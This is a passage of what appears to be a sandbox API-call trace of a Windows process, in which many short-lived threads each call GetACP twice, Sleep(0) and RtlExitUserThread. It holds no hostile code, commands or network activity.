0x4e4 [0277.318] GetACP () returned 0x4e4 [0277.318] Sleep (dwMilliseconds=0x0) [0277.372] RtlExitUserThread (Status=0x0) Thread: id = 3030 os_tid = 0x1944 [0277.318] GetACP () returned 0x4e4 [0277.318] GetACP () returned 0x4e4 [0277.318] Sleep (dwMilliseconds=0x0) [0277.373] RtlExitUserThread (Status=0x0) Thread: id = 3031 os_tid = 0x1948 [0277.319] GetACP () returned 0x4e4 [0277.319] GetACP () returned 0x4e4 [0277.319] Sleep (dwMilliseconds=0x0) [0277.374] RtlExitUserThread (Status=0x0) Thread: id = 3032 os_tid = 0x194c [0277.319] GetACP () returned 0x4e4 [0277.319] GetACP () returned 0x4e4 [0277.319] Sleep (dwMilliseconds=0x0) [0277.374] RtlExitUserThread (Status=0x0) Thread: id = 3033 os_tid = 0x1950 [0277.319] GetACP () returned 0x4e4 [0277.319] GetACP () returned 0x4e4 [0277.319] Sleep (dwMilliseconds=0x0) [0277.375] RtlExitUserThread (Status=0x0) Thread: id = 3034 os_tid = 0x1954 [0277.320] GetACP () returned 0x4e4 [0277.320] GetACP () returned 0x4e4 [0277.320] Sleep (dwMilliseconds=0x0) [0277.376] RtlExitUserThread (Status=0x0) Thread: id = 3035 os_tid = 0x19b8 [0277.320] GetACP () returned 0x4e4 [0277.320] GetACP () returned 0x4e4 [0277.320] Sleep (dwMilliseconds=0x0) [0277.378] RtlExitUserThread (Status=0x0) Thread: id = 3036 os_tid = 0x19bc [0277.321] GetACP () returned 0x4e4 [0277.321] GetACP () returned 0x4e4 [0277.321] Sleep (dwMilliseconds=0x0) [0277.379] RtlExitUserThread (Status=0x0) Thread: id = 3037 os_tid = 0x19c0 [0277.321] GetACP () returned 0x4e4 [0277.321] GetACP () returned 0x4e4 [0277.321] Sleep (dwMilliseconds=0x0) [0277.379] RtlExitUserThread (Status=0x0) Thread: id = 3038 os_tid = 0x19c4 [0277.321] GetACP () returned 0x4e4 [0277.321] GetACP () returned 0x4e4 [0277.321] Sleep (dwMilliseconds=0x0) [0277.380] RtlExitUserThread (Status=0x0) Thread: id = 3039 os_tid = 0x19c8 [0277.323] GetACP () returned 0x4e4 [0277.323] GetACP () returned 0x4e4 [0277.323] Sleep (dwMilliseconds=0x0) [0277.381] RtlExitUserThread (Status=0x0) Thread: id = 3040 os_tid = 0x19cc [0277.324] GetACP () returned 0x4e4 [0277.324] GetACP () returned 0x4e4 [0277.324] Sleep (dwMilliseconds=0x0) [0277.382] RtlExitUserThread (Status=0x0) Thread: id = 3041 os_tid = 0x19d0 [0277.324] GetACP () returned 0x4e4 [0277.324] GetACP () returned 0x4e4 [0277.324] Sleep (dwMilliseconds=0x0) [0277.382] RtlExitUserThread (Status=0x0) Thread: id = 3042 os_tid = 0x19d4 [0277.327] GetACP () returned 0x4e4 [0277.327] GetACP () returned 0x4e4 [0277.327] Sleep (dwMilliseconds=0x0) [0277.383] RtlExitUserThread (Status=0x0) Thread: id = 3043 os_tid = 0x19d8 [0277.328] GetACP () returned 0x4e4 [0277.328] GetACP () returned 0x4e4 [0277.328] Sleep (dwMilliseconds=0x0) [0277.384] RtlExitUserThread (Status=0x0) Thread: id = 3044 os_tid = 0x19dc [0277.328] GetACP () returned 0x4e4 [0277.328] GetACP () returned 0x4e4 [0277.328] Sleep (dwMilliseconds=0x0) [0277.384] RtlExitUserThread (Status=0x0) Thread: id = 3045 os_tid = 0x19e0 [0277.329] GetACP () returned 0x4e4 [0277.329] GetACP () returned 0x4e4 [0277.329] Sleep (dwMilliseconds=0x0) [0277.385] RtlExitUserThread (Status=0x0) Thread: id = 3046 os_tid = 0x19e4 [0277.329] GetACP () returned 0x4e4 [0277.329] GetACP () returned 0x4e4 [0277.329] Sleep (dwMilliseconds=0x0) [0277.386] RtlExitUserThread (Status=0x0) Thread: id = 3047 os_tid = 0x19e8 [0277.387] GetACP () returned 0x4e4 [0277.387] GetACP () returned 0x4e4 [0277.387] Sleep (dwMilliseconds=0x0) [0277.437] RtlExitUserThread (Status=0x0) Thread: id = 3048 os_tid = 0x19ec [0277.387] GetACP () returned 0x4e4 [0277.387] GetACP () returned 0x4e4 [0277.387] Sleep (dwMilliseconds=0x0) [0277.438] RtlExitUserThread (Status=0x0) Thread: id = 3049 os_tid = 0x19f0 [0277.388] GetACP () returned 0x4e4 [0277.388] GetACP () returned 0x4e4 [0277.388] Sleep (dwMilliseconds=0x0) [0277.438] RtlExitUserThread (Status=0x0) Thread: id = 3050 os_tid = 0x19f4 [0277.388] GetACP () returned 0x4e4 [0277.388] GetACP () returned 0x4e4 [0277.388] Sleep (dwMilliseconds=0x0) [0277.439] RtlExitUserThread (Status=0x0) Thread: id = 3051 os_tid = 0x19f8 [0277.390] GetACP () returned 0x4e4 [0277.390] GetACP () returned 0x4e4 [0277.390] Sleep (dwMilliseconds=0x0) [0277.440] RtlExitUserThread (Status=0x0) Thread: id = 3052 os_tid = 0x19fc [0277.390] GetACP () returned 0x4e4 [0277.390] GetACP () returned 0x4e4 [0277.390] Sleep (dwMilliseconds=0x0) [0277.440] RtlExitUserThread (Status=0x0) Thread: id = 3053 os_tid = 0x1a00 [0277.390] GetACP () returned 0x4e4 [0277.391] GetACP () returned 0x4e4 [0277.391] Sleep (dwMilliseconds=0x0) [0277.441] RtlExitUserThread (Status=0x0) Thread: id = 3054 os_tid = 0x1a04 [0277.391] GetACP () returned 0x4e4 [0277.391] GetACP () returned 0x4e4 [0277.391] Sleep (dwMilliseconds=0x0) [0277.442] RtlExitUserThread (Status=0x0) Thread: id = 3055 os_tid = 0x1a58 [0277.391] GetACP () returned 0x4e4 [0277.391] GetACP () returned 0x4e4 [0277.392] Sleep (dwMilliseconds=0x0) [0277.442] RtlExitUserThread (Status=0x0) Thread: id = 3056 os_tid = 0x1a5c [0277.392] GetACP () returned 0x4e4 [0277.392] GetACP () returned 0x4e4 [0277.392] Sleep (dwMilliseconds=0x0) [0277.443] RtlExitUserThread (Status=0x0) Thread: id = 3057 os_tid = 0x1a60 [0277.393] GetACP () returned 0x4e4 [0277.393] GetACP () returned 0x4e4 [0277.393] Sleep (dwMilliseconds=0x0) [0277.444] RtlExitUserThread (Status=0x0) Thread: id = 3058 os_tid = 0x1a64 [0277.393] GetACP () returned 0x4e4 [0277.393] GetACP () returned 0x4e4 [0277.393] Sleep (dwMilliseconds=0x0) [0277.444] RtlExitUserThread (Status=0x0) Thread: id = 3059 os_tid = 0x1a68 [0277.394] GetACP () returned 0x4e4 [0277.394] GetACP () returned 0x4e4 [0277.394] Sleep (dwMilliseconds=0x0) [0277.445] RtlExitUserThread (Status=0x0) Thread: id = 3060 os_tid = 0x1a6c [0277.396] GetACP () returned 0x4e4 [0277.396] GetACP () returned 0x4e4 [0277.396] Sleep (dwMilliseconds=0x0) [0277.446] RtlExitUserThread (Status=0x0) Thread: id = 3061 os_tid = 0x1a70 [0277.396] GetACP () returned 0x4e4 [0277.396] GetACP () returned 0x4e4 [0277.396] Sleep (dwMilliseconds=0x0) [0277.446] RtlExitUserThread (Status=0x0) Thread: id = 3062 os_tid = 0x1a74 [0277.397] GetACP () returned 0x4e4 [0277.397] GetACP () returned 0x4e4 [0277.397] Sleep (dwMilliseconds=0x0) [0277.447] RtlExitUserThread (Status=0x0) Thread: id = 3063 os_tid = 0x1a78 [0277.400] GetACP () returned 0x4e4 [0277.400] GetACP () returned 0x4e4 [0277.400] Sleep (dwMilliseconds=0x0) [0277.447] RtlExitUserThread (Status=0x0) Thread: id = 3064 os_tid = 0x1a7c [0277.400] GetACP () returned 0x4e4 [0277.400] GetACP () returned 0x4e4 [0277.400] Sleep (dwMilliseconds=0x0) [0277.448] RtlExitUserThread (Status=0x0) Thread: id = 3065 os_tid = 0x1a80 [0277.401] GetACP () returned 0x4e4 [0277.401] GetACP () returned 0x4e4 [0277.401] Sleep (dwMilliseconds=0x0) [0277.449] RtlExitUserThread (Status=0x0) Thread: id = 3066 os_tid = 0x1a84 [0277.401] GetACP () returned 0x4e4 [0277.401] GetACP () returned 0x4e4 [0277.401] Sleep (dwMilliseconds=0x0) [0277.449] RtlExitUserThread (Status=0x0) Thread: id = 3067 os_tid = 0x1a88 [0277.450] GetACP () returned 0x4e4 [0277.450] GetACP () returned 0x4e4 [0277.450] Sleep (dwMilliseconds=0x0) [0277.587] RtlExitUserThread (Status=0x0) Thread: id = 3068 os_tid = 0x1a8c [0277.450] GetACP () returned 0x4e4 [0277.450] GetACP () returned 0x4e4 [0277.451] Sleep (dwMilliseconds=0x0) [0277.588] RtlExitUserThread (Status=0x0) Thread: id = 3069 os_tid = 0x1a90 [0277.451] GetACP () returned 0x4e4 [0277.451] GetACP () returned 0x4e4 [0277.451] Sleep (dwMilliseconds=0x0) [0277.589] RtlExitUserThread (Status=0x0) Thread: id = 3070 os_tid = 0x1a94 [0277.452] GetACP () returned 0x4e4 [0277.452] GetACP () returned 0x4e4 [0277.452] Sleep (dwMilliseconds=0x0) [0277.589] RtlExitUserThread (Status=0x0) Thread: id = 3071 os_tid = 0x1a98 [0277.452] GetACP () returned 0x4e4 [0277.452] GetACP () returned 0x4e4 [0277.452] Sleep (dwMilliseconds=0x0) [0277.590] RtlExitUserThread (Status=0x0) Thread: id = 3072 os_tid = 0x1a9c [0277.452] GetACP () returned 0x4e4 [0277.452] GetACP () returned 0x4e4 [0277.452] Sleep (dwMilliseconds=0x0) [0277.591] RtlExitUserThread (Status=0x0) Thread: id = 3073 os_tid = 0x1aa0 [0277.453] GetACP () returned 0x4e4 [0277.453] GetACP () returned 0x4e4 [0277.453] Sleep (dwMilliseconds=0x0) [0277.591] RtlExitUserThread (Status=0x0) Thread: id = 3074 os_tid = 0x1aa4 [0277.453] GetACP () returned 0x4e4 [0277.453] GetACP () returned 0x4e4 [0277.453] Sleep (dwMilliseconds=0x0) [0277.592] RtlExitUserThread (Status=0x0) Thread: id = 3075 os_tid = 0x1af8 [0277.454] GetACP () returned 0x4e4 [0277.454] GetACP () returned 0x4e4 [0277.454] Sleep (dwMilliseconds=0x0) [0277.593] RtlExitUserThread (Status=0x0) Thread: id = 3076 os_tid = 0x1afc [0277.454] GetACP () returned 0x4e4 [0277.454] GetACP () returned 0x4e4 [0277.454] Sleep (dwMilliseconds=0x0) [0277.593] RtlExitUserThread (Status=0x0) Thread: id = 3077 os_tid = 0x1b00 [0277.455] GetACP () returned 0x4e4 [0277.455] GetACP () returned 0x4e4 [0277.455] Sleep (dwMilliseconds=0x0) [0277.594] RtlExitUserThread (Status=0x0) Thread: id = 3078 os_tid = 0x1b04 [0277.455] GetACP () returned 0x4e4 [0277.455] GetACP () returned 0x4e4 [0277.455] Sleep (dwMilliseconds=0x0) [0277.595] RtlExitUserThread (Status=0x0) Thread: id = 3079 os_tid = 0x1b08 [0277.455] GetACP () returned 0x4e4 [0277.455] GetACP () returned 0x4e4 [0277.456] Sleep (dwMilliseconds=0x0) [0277.595] RtlExitUserThread (Status=0x0) Thread: id = 3080 os_tid = 0x1b0c [0277.456] GetACP () returned 0x4e4 [0277.456] GetACP () returned 0x4e4 [0277.456] Sleep (dwMilliseconds=0x0) [0277.596] RtlExitUserThread (Status=0x0) Thread: id = 3081 os_tid = 0x1b10 [0277.456] GetACP () returned 0x4e4 [0277.456] GetACP () returned 0x4e4 [0277.456] Sleep (dwMilliseconds=0x0) [0277.597] RtlExitUserThread (Status=0x0) Thread: id = 3082 os_tid = 0x1b14 [0277.457] GetACP () returned 0x4e4 [0277.457] GetACP () returned 0x4e4 [0277.457] Sleep (dwMilliseconds=0x0) [0277.598] RtlExitUserThread (Status=0x0) Thread: id = 3083 os_tid = 0x1b18 [0277.457] GetACP () returned 0x4e4 [0277.457] GetACP () returned 0x4e4 [0277.457] Sleep (dwMilliseconds=0x0) [0277.598] RtlExitUserThread (Status=0x0) Thread: id = 3084 os_tid = 0x1b1c [0277.457] GetACP () returned 0x4e4 [0277.457] GetACP () returned 0x4e4 [0277.457] Sleep (dwMilliseconds=0x0) [0277.599] RtlExitUserThread (Status=0x0) Thread: id = 3085 os_tid = 0x1b20 [0277.458] GetACP () returned 0x4e4 [0277.458] GetACP () returned 0x4e4 [0277.458] Sleep (dwMilliseconds=0x0) [0277.599] RtlExitUserThread (Status=0x0) Thread: id = 3086 os_tid = 0x1b24 [0277.458] GetACP () returned 0x4e4 [0277.458] GetACP () returned 0x4e4 [0277.458] Sleep (dwMilliseconds=0x0) [0277.600] RtlExitUserThread (Status=0x0) Thread: id = 3087 os_tid = 0x1b28 [0277.601] GetACP () returned 0x4e4 [0277.601] GetACP () returned 0x4e4 [0277.601] Sleep (dwMilliseconds=0x0) [0278.066] RtlExitUserThread (Status=0x0) Thread: id = 3088 os_tid = 0x1b2c [0277.601] GetACP () returned 0x4e4 [0277.601] GetACP () returned 0x4e4 [0277.601] Sleep (dwMilliseconds=0x0) [0278.067] RtlExitUserThread (Status=0x0) Thread: id = 3089 os_tid = 0x1b30 [0277.602] GetACP () returned 0x4e4 [0277.602] GetACP () returned 0x4e4 [0277.602] Sleep (dwMilliseconds=0x0) [0278.068] RtlExitUserThread (Status=0x0) Thread: id = 3090 os_tid = 0x1b34 [0277.602] GetACP () returned 0x4e4 [0277.602] GetACP () returned 0x4e4 [0277.602] Sleep (dwMilliseconds=0x0) [0278.069] RtlExitUserThread (Status=0x0) Thread: id = 3091 os_tid = 0x1b38 [0277.602] GetACP () returned 0x4e4 [0277.602] GetACP () returned 0x4e4 [0277.602] Sleep (dwMilliseconds=0x0) [0278.069] RtlExitUserThread (Status=0x0) Thread: id = 3092 os_tid = 0x1b3c [0277.603] GetACP () returned 0x4e4 [0277.603] GetACP () returned 0x4e4 [0277.603] Sleep (dwMilliseconds=0x0) [0278.070] RtlExitUserThread (Status=0x0) Thread: id = 3093 os_tid = 0x1b40 [0277.603] GetACP () returned 0x4e4 [0277.603] GetACP () returned 0x4e4 [0277.603] Sleep (dwMilliseconds=0x0) [0278.071] RtlExitUserThread (Status=0x0) Thread: id = 3094 os_tid = 0x1b44 [0277.603] GetACP () returned 0x4e4 [0277.603] GetACP () returned 0x4e4 [0277.603] Sleep (dwMilliseconds=0x0) [0278.071] RtlExitUserThread (Status=0x0) Thread: id = 3095 os_tid = 0x1b98 [0277.604] GetACP () returned 0x4e4 [0277.604] GetACP () returned 0x4e4 [0277.604] Sleep (dwMilliseconds=0x0) [0278.072] RtlExitUserThread (Status=0x0) Thread: id = 3096 os_tid = 0x1b9c [0277.604] GetACP () returned 0x4e4 [0277.604] GetACP () returned 0x4e4 [0277.604] Sleep (dwMilliseconds=0x0) [0278.073] RtlExitUserThread (Status=0x0) Thread: id = 3097 os_tid = 0x1ba0 [0277.605] GetACP () returned 0x4e4 [0277.605] GetACP () returned 0x4e4 [0277.605] Sleep (dwMilliseconds=0x0) [0278.074] RtlExitUserThread (Status=0x0) Thread: id = 3098 os_tid = 0x1ba4 [0277.605] GetACP () returned 0x4e4 [0277.605] GetACP () returned 0x4e4 [0277.605] Sleep (dwMilliseconds=0x0) [0278.074] RtlExitUserThread (Status=0x0) Thread: id = 3099 os_tid = 0x1ba8 [0277.605] GetACP () returned 0x4e4 [0277.605] GetACP () returned 0x4e4 [0277.605] Sleep (dwMilliseconds=0x0) [0278.075] RtlExitUserThread (Status=0x0) Thread: id = 3100 os_tid = 0x1bac [0277.606] GetACP () returned 0x4e4 [0277.606] GetACP () returned 0x4e4 [0277.606] Sleep (dwMilliseconds=0x0) [0278.076] RtlExitUserThread (Status=0x0) Thread: id = 3101 os_tid = 0x1bb0 [0277.606] GetACP () returned 0x4e4 [0277.606] GetACP () returned 0x4e4 [0277.606] Sleep (dwMilliseconds=0x0) [0278.077] RtlExitUserThread (Status=0x0) Thread: id = 3102 os_tid = 0x1bb4 [0277.606] GetACP () returned 0x4e4 [0277.607] GetACP () returned 0x4e4 [0277.607] Sleep (dwMilliseconds=0x0) [0278.077] RtlExitUserThread (Status=0x0) Thread: id = 3103 os_tid = 0x1bb8 [0277.607] GetACP () returned 0x4e4 [0277.607] GetACP () returned 0x4e4 [0277.607] Sleep (dwMilliseconds=0x0) [0278.078] RtlExitUserThread (Status=0x0) Thread: id = 3104 os_tid = 0x1bbc [0277.607] GetACP () returned 0x4e4 [0277.607] GetACP () returned 0x4e4 [0277.607] Sleep (dwMilliseconds=0x0) [0278.079] RtlExitUserThread (Status=0x0) Thread: id = 3105 os_tid = 0x1bc0 [0277.608] GetACP () returned 0x4e4 [0277.608] GetACP () returned 0x4e4 [0277.608] Sleep (dwMilliseconds=0x0) [0278.079] RtlExitUserThread (Status=0x0) Thread: id = 3106 os_tid = 0x1bc4 [0277.608] GetACP () returned 0x4e4 [0277.608] GetACP () returned 0x4e4 [0277.608] Sleep (dwMilliseconds=0x0) [0278.080] RtlExitUserThread (Status=0x0) Thread: id = 3107 os_tid = 0x1bc8 [0278.081] GetACP () returned 0x4e4 [0278.081] GetACP () returned 0x4e4 [0278.081] Sleep (dwMilliseconds=0x0) [0278.324] RtlExitUserThread (Status=0x0) Thread: id = 3108 os_tid = 0x1bcc [0278.082] GetACP () returned 0x4e4 [0278.082] GetACP () returned 0x4e4 [0278.082] Sleep (dwMilliseconds=0x0) [0278.324] RtlExitUserThread (Status=0x0) Thread: id = 3109 os_tid = 0x1bd0 [0278.082] GetACP () returned 0x4e4 [0278.082] GetACP () returned 0x4e4 [0278.082] Sleep (dwMilliseconds=0x0) [0278.324] RtlExitUserThread (Status=0x0) Thread: id = 3110 os_tid = 0x1bd4 [0278.083] GetACP () returned 0x4e4 [0278.083] GetACP () returned 0x4e4 [0278.083] Sleep (dwMilliseconds=0x0) [0278.324] RtlExitUserThread (Status=0x0) Thread: id = 3111 os_tid = 0x1bd8 [0278.083] GetACP () returned 0x4e4 [0278.083] GetACP () returned 0x4e4 [0278.083] Sleep (dwMilliseconds=0x0) [0278.324] RtlExitUserThread (Status=0x0) Thread: id = 3112 os_tid = 0x1bdc [0278.084] GetACP () returned 0x4e4 [0278.084] GetACP () returned 0x4e4 [0278.084] Sleep (dwMilliseconds=0x0) [0278.327] RtlExitUserThread (Status=0x0) Thread: id = 3113 os_tid = 0x1be0 [0278.084] GetACP () returned 0x4e4 [0278.084] GetACP () returned 0x4e4 [0278.084] Sleep (dwMilliseconds=0x0) [0278.327] RtlExitUserThread (Status=0x0) Thread: id = 3114 os_tid = 0x1be4 [0278.085] GetACP () returned 0x4e4 [0278.085] GetACP () returned 0x4e4 [0278.085] Sleep (dwMilliseconds=0x0) [0278.327] RtlExitUserThread (Status=0x0) Thread: id = 3115 os_tid = 0x1c18 [0278.085] GetACP () returned 0x4e4 [0278.085] GetACP () returned 0x4e4 [0278.085] Sleep (dwMilliseconds=0x0) [0278.327] RtlExitUserThread (Status=0x0) Thread: id = 3116 os_tid = 0x1c1c [0278.086] GetACP () returned 0x4e4 [0278.086] GetACP () returned 0x4e4 [0278.086] Sleep (dwMilliseconds=0x0) [0278.327] RtlExitUserThread (Status=0x0) Thread: id = 3117 os_tid = 0x1c20 [0278.086] GetACP () returned 0x4e4 [0278.086] GetACP () returned 0x4e4 [0278.086] Sleep (dwMilliseconds=0x0) [0278.328] RtlExitUserThread (Status=0x0) Thread: id = 3118 os_tid = 0x1c24 [0278.087] GetACP () returned 0x4e4 [0278.087] GetACP () returned 0x4e4 [0278.087] Sleep (dwMilliseconds=0x0) [0278.328] RtlExitUserThread (Status=0x0) Thread: id = 3119 os_tid = 0x1c28 [0278.087] GetACP () returned 0x4e4 [0278.087] GetACP () returned 0x4e4 [0278.087] Sleep (dwMilliseconds=0x0) [0278.328] RtlExitUserThread (Status=0x0) Thread: id = 3120 os_tid = 0x1c2c [0278.088] GetACP () returned 0x4e4 [0278.088] GetACP () returned 0x4e4 [0278.088] Sleep (dwMilliseconds=0x0) [0278.328] RtlExitUserThread (Status=0x0) Thread: id = 3121 os_tid = 0x1c30 [0278.088] GetACP () returned 0x4e4 [0278.088] GetACP () returned 0x4e4 [0278.088] Sleep (dwMilliseconds=0x0) [0278.328] RtlExitUserThread (Status=0x0) Thread: id = 3122 os_tid = 0x1c34 [0278.089] GetACP () returned 0x4e4 [0278.089] GetACP () returned 0x4e4 [0278.089] Sleep (dwMilliseconds=0x0) [0278.329] RtlExitUserThread (Status=0x0) Thread: id = 3123 os_tid = 0x1c38 [0278.089] GetACP () returned 0x4e4 [0278.089] GetACP () returned 0x4e4 [0278.089] Sleep (dwMilliseconds=0x0) [0278.329] RtlExitUserThread (Status=0x0) Thread: id = 3124 os_tid = 0x1c3c [0278.090] GetACP () returned 0x4e4 [0278.090] GetACP () returned 0x4e4 [0278.090] Sleep (dwMilliseconds=0x0) [0278.329] RtlExitUserThread (Status=0x0) Thread: id = 3125 os_tid = 0x1c40 [0278.090] GetACP () returned 0x4e4 [0278.090] GetACP () returned 0x4e4 [0278.090] Sleep (dwMilliseconds=0x0) [0278.329] RtlExitUserThread (Status=0x0) Thread: id = 3126 os_tid = 0x1c44 [0278.091] GetACP () returned 0x4e4 [0278.091] GetACP () returned 0x4e4 [0278.091] Sleep (dwMilliseconds=0x0) [0278.329] RtlExitUserThread (Status=0x0) Thread: id = 3127 os_tid = 0x1c48 [0278.330] GetACP () returned 0x4e4 [0278.330] GetACP () returned 0x4e4 [0278.330] Sleep (dwMilliseconds=0x0) [0278.783] RtlExitUserThread (Status=0x0) Thread: id = 3128 os_tid = 0x1c4c [0278.331] GetACP () returned 0x4e4 [0278.331] GetACP () returned 0x4e4 [0278.331] Sleep (dwMilliseconds=0x0) [0278.784] RtlExitUserThread (Status=0x0) Thread: id = 3129 os_tid = 0x1c50 [0278.332] GetACP () returned 0x4e4 [0278.332] GetACP () returned 0x4e4 [0278.332] Sleep (dwMilliseconds=0x0) [0278.784] RtlExitUserThread (Status=0x0) Thread: id = 3130 os_tid = 0x1c54 [0278.332] GetACP () returned 0x4e4 [0278.332] GetACP () returned 0x4e4 [0278.332] Sleep (dwMilliseconds=0x0) [0278.785] RtlExitUserThread (Status=0x0) Thread: id = 3131 os_tid = 0x1c58 [0278.333] GetACP () returned 0x4e4 [0278.333] GetACP () returned 0x4e4 [0278.333] Sleep (dwMilliseconds=0x0) [0278.785] RtlExitUserThread (Status=0x0) Thread: id = 3132 os_tid = 0x1c5c [0278.334] GetACP () returned 0x4e4 [0278.334] GetACP () returned 0x4e4 [0278.334] Sleep (dwMilliseconds=0x0) [0278.786] RtlExitUserThread (Status=0x0) Thread: id = 3133 os_tid = 0x1c60 [0278.334] GetACP () returned 0x4e4 [0278.334] GetACP () returned 0x4e4 [0278.334] Sleep (dwMilliseconds=0x0) [0278.786] RtlExitUserThread (Status=0x0) Thread: id = 3134 os_tid = 0x1c64 [0278.335] GetACP () returned 0x4e4 [0278.335] GetACP () returned 0x4e4 [0278.335] Sleep (dwMilliseconds=0x0) [0278.787] RtlExitUserThread (Status=0x0) Thread: id = 3135 os_tid = 0x1cb8 [0278.335] GetACP () returned 0x4e4 [0278.336] GetACP () returned 0x4e4 [0278.336] Sleep (dwMilliseconds=0x0) [0278.787] RtlExitUserThread (Status=0x0) Thread: id = 3136 os_tid = 0x1cbc [0278.336] GetACP () returned 0x4e4 [0278.336] GetACP () returned 0x4e4 [0278.336] Sleep (dwMilliseconds=0x0) [0278.788] RtlExitUserThread (Status=0x0) Thread: id = 3137 os_tid = 0x1cc0 [0278.337] GetACP () returned 0x4e4 [0278.337] GetACP () returned 0x4e4 [0278.337] Sleep (dwMilliseconds=0x0) [0278.788] RtlExitUserThread (Status=0x0) Thread: id = 3138 os_tid = 0x1cc4 [0278.338] GetACP () returned 0x4e4 [0278.338] GetACP () returned 0x4e4 [0278.338] Sleep (dwMilliseconds=0x0) [0278.789] RtlExitUserThread (Status=0x0) Thread: id = 3139 os_tid = 0x1cc8 [0278.340] GetACP () returned 0x4e4 [0278.340] GetACP () returned 0x4e4 [0278.340] Sleep (dwMilliseconds=0x0) [0278.789] RtlExitUserThread (Status=0x0) Thread: id = 3140 os_tid = 0x1ccc [0278.340] GetACP () returned 0x4e4 [0278.340] GetACP () returned 0x4e4 [0278.340] Sleep (dwMilliseconds=0x0) [0278.790] RtlExitUserThread (Status=0x0) Thread: id = 3141 os_tid = 0x1cd0 [0278.341] GetACP () returned 0x4e4 [0278.341] GetACP () returned 0x4e4 [0278.341] Sleep (dwMilliseconds=0x0) [0278.790] RtlExitUserThread (Status=0x0) Thread: id = 3142 os_tid = 0x1cd4 [0278.342] GetACP () returned 0x4e4 [0278.342] GetACP () returned 0x4e4 [0278.342] Sleep (dwMilliseconds=0x0) [0278.791] RtlExitUserThread (Status=0x0) Thread: id = 3143 os_tid = 0x1cd8 [0278.343] GetACP () returned 0x4e4 [0278.343] GetACP () returned 0x4e4 [0278.343] Sleep (dwMilliseconds=0x0) [0278.791] RtlExitUserThread (Status=0x0) Thread: id = 3144 os_tid = 0x1cdc [0278.343] GetACP () returned 0x4e4 [0278.343] GetACP () returned 0x4e4 [0278.343] Sleep (dwMilliseconds=0x0) [0278.835] RtlExitUserThread (Status=0x0) Thread: id = 3145 os_tid = 0x1ce0 [0278.347] GetACP () returned 0x4e4 [0278.347] GetACP () returned 0x4e4 [0278.347] Sleep (dwMilliseconds=0x0) [0278.835] RtlExitUserThread (Status=0x0) Thread: id = 3146 os_tid = 0x1ce4 [0278.348] GetACP () returned 0x4e4 [0278.348] GetACP () returned 0x4e4 [0278.348] Sleep (dwMilliseconds=0x0) [0278.836] RtlExitUserThread (Status=0x0) Thread: id = 3147 os_tid = 0x1ce8 [0279.138] GetACP () returned 0x4e4 [0279.138] GetACP () returned 0x4e4 [0279.138] Sleep (dwMilliseconds=0x0) [0279.391] RtlExitUserThread (Status=0x0) Thread: id = 3148 os_tid = 0x1cf4 [0279.139] GetACP () returned 0x4e4 [0279.140] GetACP () returned 0x4e4 [0279.140] Sleep (dwMilliseconds=0x0) [0279.392] RtlExitUserThread (Status=0x0) Thread: id = 3149 os_tid = 0x1cf8 [0279.143] GetACP () returned 0x4e4 [0279.143] GetACP () returned 0x4e4 [0279.143] Sleep (dwMilliseconds=0x0) [0279.393] RtlExitUserThread (Status=0x0) Thread: id = 3150 os_tid = 0x1cfc [0279.144] GetACP () returned 0x4e4 [0279.144] GetACP () returned 0x4e4 [0279.144] Sleep (dwMilliseconds=0x0) [0279.393] RtlExitUserThread (Status=0x0) Thread: id = 3151 os_tid = 0x1d00 [0279.144] GetACP () returned 0x4e4 [0279.144] GetACP () returned 0x4e4 [0279.144] Sleep (dwMilliseconds=0x0) [0279.394] RtlExitUserThread (Status=0x0) Thread: id = 3152 os_tid = 0x1d04 [0279.145] GetACP () returned 0x4e4 [0279.145] GetACP () returned 0x4e4 [0279.145] Sleep (dwMilliseconds=0x0) [0279.395] RtlExitUserThread (Status=0x0) Thread: id = 3153 os_tid = 0x1d58 [0279.145] GetACP () returned 0x4e4 [0279.145] GetACP () returned 0x4e4 [0279.145] Sleep (dwMilliseconds=0x0) [0279.396] RtlExitUserThread (Status=0x0) Thread: id = 3154 os_tid = 0x1d5c [0279.146] GetACP () returned 0x4e4 [0279.146] GetACP () returned 0x4e4 [0279.146] Sleep (dwMilliseconds=0x0) [0279.396] RtlExitUserThread (Status=0x0) Thread: id = 3155 os_tid = 0x1d60 [0279.146] GetACP () returned 0x4e4 [0279.146] GetACP () returned 0x4e4 [0279.146] Sleep (dwMilliseconds=0x0) [0279.397] RtlExitUserThread (Status=0x0) Thread: id = 3156 os_tid = 0x1d64 [0279.147] GetACP () returned 0x4e4 [0279.147] GetACP () returned 0x4e4 [0279.147] Sleep (dwMilliseconds=0x0) [0279.398] RtlExitUserThread (Status=0x0) Thread: id = 3157 os_tid = 0x1d68 [0279.147] GetACP () returned 0x4e4 [0279.147] GetACP () returned 0x4e4 [0279.147] Sleep (dwMilliseconds=0x0) [0279.399] RtlExitUserThread (Status=0x0) Thread: id = 3158 os_tid = 0x1d6c [0279.148] GetACP () returned 0x4e4 [0279.148] GetACP () returned 0x4e4 [0279.148] Sleep (dwMilliseconds=0x0) [0279.399] RtlExitUserThread (Status=0x0) Thread: id = 3159 os_tid = 0x1d70 [0279.148] GetACP () returned 0x4e4 [0279.148] GetACP () returned 0x4e4 [0279.148] Sleep (dwMilliseconds=0x0) [0279.400] RtlExitUserThread (Status=0x0) Thread: id = 3160 os_tid = 0x1d74 [0279.149] GetACP () returned 0x4e4 [0279.149] GetACP () returned 0x4e4 [0279.149] Sleep (dwMilliseconds=0x0) [0279.401] RtlExitUserThread (Status=0x0) Thread: id = 3161 os_tid = 0x1d78 [0279.149] GetACP () returned 0x4e4 [0279.149] GetACP () returned 0x4e4 [0279.149] Sleep (dwMilliseconds=0x0) [0279.402] RtlExitUserThread (Status=0x0) Thread: id = 3162 os_tid = 0x1d7c [0279.150] GetACP () returned 0x4e4 [0279.150] GetACP () returned 0x4e4 [0279.150] Sleep (dwMilliseconds=0x0) [0279.402] RtlExitUserThread (Status=0x0) Thread: id = 3163 os_tid = 0x1d80 [0279.150] GetACP () returned 0x4e4 [0279.150] GetACP () returned 0x4e4 [0279.150] Sleep (dwMilliseconds=0x0) [0279.403] RtlExitUserThread (Status=0x0) Thread: id = 3164 os_tid = 0x1d84 [0279.151] GetACP () returned 0x4e4 [0279.151] GetACP () returned 0x4e4 [0279.151] Sleep (dwMilliseconds=0x0) [0279.404] RtlExitUserThread (Status=0x0) Thread: id = 3165 os_tid = 0x1d88 [0279.151] GetACP () returned 0x4e4 [0279.151] GetACP () returned 0x4e4 [0279.151] Sleep (dwMilliseconds=0x0) [0279.404] RtlExitUserThread (Status=0x0) Thread: id = 3166 os_tid = 0x1d8c [0279.152] GetACP () returned 0x4e4 [0279.152] GetACP () returned 0x4e4 [0279.152] Sleep (dwMilliseconds=0x0) 